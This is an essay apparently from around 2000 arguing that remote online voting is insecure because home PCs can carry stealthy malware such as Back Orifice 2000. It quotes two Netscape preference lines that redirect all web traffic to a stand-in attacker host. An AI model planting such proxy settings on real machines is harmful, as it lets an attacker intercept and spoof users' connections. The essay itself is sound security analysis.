The right of U.S. citizens to vote for our government representatives is at the heart of the democracy that we enjoy. Historically, great effort and care has been taken to ensure that elections are conducted in a fair manner so that the candidate who should win the election, based on the vote count, actually does. Of equal importance is that public confidence in the election process remain strong. In the past, changes to the election process have proceeded deliberately and judiciously, often entailing lengthy debates over even the minutest of details. These changes are approached so sensitively because a discrepancy in the election system threatens the very principles that make our society free, which, in turn, affects every aspect of the way we live.
The feasibility of remote electronic voting in public elections is currently being studied by the National Science Foundation by request of the President of the United States (see http://www.netvoting.org/). Remote electronic voting refers to an election process whereby people can cast their votes over the Internet, most likely through a web browser, from the comfort of their homes, or possibly any other location where they can get Internet access. There are many aspects of elections in addition to security that bring this type of voting into question. These are the primary issues:
Coercibility. Outside a public polling place, a voter could be coerced into voting for a particular candidate.
Vote selling. Voters might sell their votes.
Vote solicitation. Outside a public polling place, it's difficult to control vote solicitation by political parties.
Registration. If online registration is allowed, how can we control the level of fraud?
The possibility of widely distributed locations where votes can be cast changes many aspects of our carefully controlled elections as we know them. The relevant issues are of great importance, and could very well influence whether such election processes are desirable. However, this article focuses solely on the security considerations as they relate to conducting online public elections. In particular, we'll look at remote online voting, as opposed to online voter registration, which is a separate but important and difficult problem. We'll also focus solely on public elections, as opposed to private elections, where the threats are not as great and the environment can be more controlled.
The importance of security in elections cannot be overstated. The future of our country—and the free world, for that matter—rests on public confidence that the people have the power to elect their own government. Any process that has the potential to threaten the integrity of the system, or even the perceived integrity of the system, should be treated with the utmost caution and suspicion.
The Voting Platform
The type of remote electronic voting discussed in this article involves regular Internet users with personal computers and standard operating systems and software. For the sake of this discussion, let's focus on Intel machines running Microsoft operating systems with Microsoft or Netscape browsers, and voters participating from home, communicating over a TCP/IP network attached to the Internet. While this is a simplification, it is representative of the vast majority of users under consideration. In this discussion, we'll refer to the voting platform simply as a host.
Threats to hosts can be described as either malicious payload threats or delivery mechanism threats. (A malicious payload is software or configuration information designed to do harm.) Both of these threats have advanced in sophistication and automation in the past couple of years. The attacks are more sophisticated in the sense that they can do more damage, are more likely to succeed, and disguise themselves better than before. They are more automated in that more and more toolkits have been developed to enable unsophisticated computer users to launch the attacks.
On the platforms currently in the most widespread use, once a malicious payload reaches a host there is virtually no limit to the damage it can cause. With today's hardware and software architectures, a malicious payload on a voting client can actually change the voter's vote, without the voter or anyone else noticing, regardless of the kind of encryption or voter authentication in place. This is because the malicious code can do its damage before the encryption and authentication is applied to the data. The malicious module can then erase itself after doing its damage, so that there is no evidence to correct or even detect the fraud.
Let's take Backorifice 2000 (BO2K) as an example (http://sourceforge.net/projects/bo2k/). It's freely available, fully Open Source, extensible, and stealth. BO2K contains a remote-control server that, when installed on a machine, enables a remote administrator (or attacker) to view and control every aspect of that machine, as though the person were actually sitting at the console.
The Open Source nature of BO2K means that an attacker can modify the code and recompile it such that the program can evade detection by security defense programs (virus and intrusion detection) that look for known signatures of programs. A signature is a pattern that identifies a particular known malicious program. The current state of the art in widely deployed systems for detecting malicious code doesn't go much beyond comparing a program against a list of attack signatures. In fact, most personal computers in peoples' homes have no detection software on them. BO2K is said to run in stealth mode because it was carefully designed to be very difficult to detect. The program doesn't appear in the task menu of running processes, and it was designed so that even an experienced administrator would have a difficult time discovering that it was on a computer. There can be no expectation that an average Internet user participating in an online election from home would have any hope of detecting the existence of BO2K on his or her computer.
At the same time, BO2K gives the attacker these capabilities:
Watching every aspect of the voting procedure.
Intercepting any action of the user.
Modifying the user's actions without the user's knowledge.
Installing any other program(s) the attacker wants—even programs written by the attacker—on the user's machine.
Monitoring every keystroke typed on the machine.
Remotely locking the keyboard and mouse.
It's difficult—most likely impossible—to conceive of a web application (or any other kind) that could prevent an attacker who installs BO2K on a user's machine from being able to view and/or change a user's vote.
It doesn't take a very sophisticated malicious payload to disrupt an election. A simple attack illustrates how easy it is to thwart a web application such as voting. Netscape and Internet Explorer, the two most common browsers, have an option setting that indicates that all web communication should take place via a proxy. A proxy is a program interposed between the client and the server. It has the ability to completely control all Internet traffic between the two. Proxies are useful for many Internet applications and for sites that run certain kinds of firewalls. The user sets a proxy by making a change in the preferences menu. The browser then adds a couple of lines to a configuration file. For example, in Netscape, the existence of the following lines in the file c:\program_files\netscape\prefs.js delivers all web content to and from the user's machine to a program listening on port 1799 on the machine http://www.badguy.com:
user_pref("network.proxy.http", "http://www.badguy.com"); user_pref("network.proxy.http_port", 1799);
If an attacker can add these two lines (substituting his hostname for http://www.badguy.com) to the preferences file on somebody's machine, he can control every aspect of the web experience of that user. There are also ways of doing this without leaving a trail that leads directly to the attacker. While proxies cannot be used to read information in a secure connection, they can be used to spoof a user into a secure connection with the attacker, instead of the actual voting server, without the user realizing it.
The first and most obvious delivery mechanism is physical installation. Most people don't keep their computers in a carefully controlled, locked environment. Imagine that someone develops an application such as the two described above to attack the voting system, prepares a floppy disk with the code on it, and then installs it on as many machines as possible. This could be accomplished by breaking into houses, by accessing machines in someone's home when visiting, by installing the program on public machines in the library, and so on. The bottom line is that many people can obtain physical access to other users' computers at some point leading up to an election. Then, malicious code can be delivered that can trigger any action at a later date, enable future access (as in the case of BO2K), or disrupt normal operation at any time. Considering that many of the attack programs these days run in stealth mode, malicious code could be installed such that average computer users cannot detect its presence.
While the physical delivery of malicious code is a serious problem, it's nowhere near as effective as remote automated delivery. By now, most people have heard of the Melissa virus and the I Love You bug. These are the better-known attacks, but many such attacks happen all the time. Typically, these attacks cause temporary disruption in service, and perform some annoying action. In most cases, the attacks spread wider and faster than their creators ever imagined. One thing that all of these attacks have in common is that they install some code on the PCs that are infected. There is a misconception by many people that users must open an attachment in order to activate them. In fact, the Bubbleboy virus was triggered as soon as a message was previewed in the Outlook mailer, requiring no action on the part of the user. Any one of these email viruses could deliver the voting attack code described earlier.
The computers in most homes run operating systems with tens of thousands of lines of code. These systems are known to be full of operational bugs as well as security flaws. On top of these platforms, users are typically running many applications with security problems. These security flaws can be exploited remotely to install malicious code.
Perhaps the most likely candidate for delivering a widespread attack against an election is an ActiveX control, downloaded automatically and unknowingly from a Web server, which installs a Trojan horse (hidden program) that later interferes with voting. In fact, any application that users are lured into downloading can do the same. This includes browser plug-ins, screen savers, calendars, and any other program obtained over the Internet. Another danger is that the application itself may be clean, but the installer might install a dynamic linked library (DLL) or other malicious module, or overwrite operating system modules. The number of ways is legion, and most users are unaware of the dangers when they add software to their computers. As long as people download and install software onto today's personal computers running today's operating systems, it will be easy for attackers to deliver code that changes votes.
Users who open attachments and download software from the Internet are not the only people putting their votes at risk. AOL, for instance, is in a position to control a large fraction of the total votes, because AOL users run AOL's proprietary software. There are also dozens of software vendors whose products run on many home machines. For example, millions of personal computers run Microsoft Office, Adobe's Acrobat Reader, RealPlayer, WinZip, Solitaire...and the list goes on. These vendors are in a position to modify any configuration file and install any malicious code on their customers' machines, as are the computer manufacturers and the computer vendors. Even if the company isn't interested in subverting an election, all it takes is one rogue programmer who works for any of these companies. Most of the software packages require an installation procedure in which the system registry is modified, libraries are installed, and the computer must reboot. During any stage of that process, the installation program has complete control of all the software on that machine. In current public elections, the polling site undergoes careful scrutiny. Any change to the process is audited carefully, and on election day representatives from all of the major parties are present to make sure that the integrity of the process is maintained. This is in sharp contrast to holding an election that allows people to cast their votes from a computer full of insecure software that's under the direct control of several dozen software and hardware vendors and run by users who download programs from the Internet, over a network known to be vulnerable to total shutdown at any moment.